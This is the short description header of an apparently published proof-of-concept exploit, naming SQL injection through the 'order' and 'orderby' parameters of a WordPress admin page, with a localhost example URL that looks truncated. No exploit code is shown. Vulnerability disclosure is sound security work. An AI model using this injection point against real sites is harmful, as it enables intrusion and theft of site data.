# Description:
##############
# The “order” and “orderby” parameter is vulnerable for SQL Injection
# Example URL: http://127.0.0.1:9001/wordpress/wp-admin/admin.php?page=3Din=

# PoC take some time to finish (15min on my Testsystem).
# I could speed it up with Multithreading but I'm to lazy right now
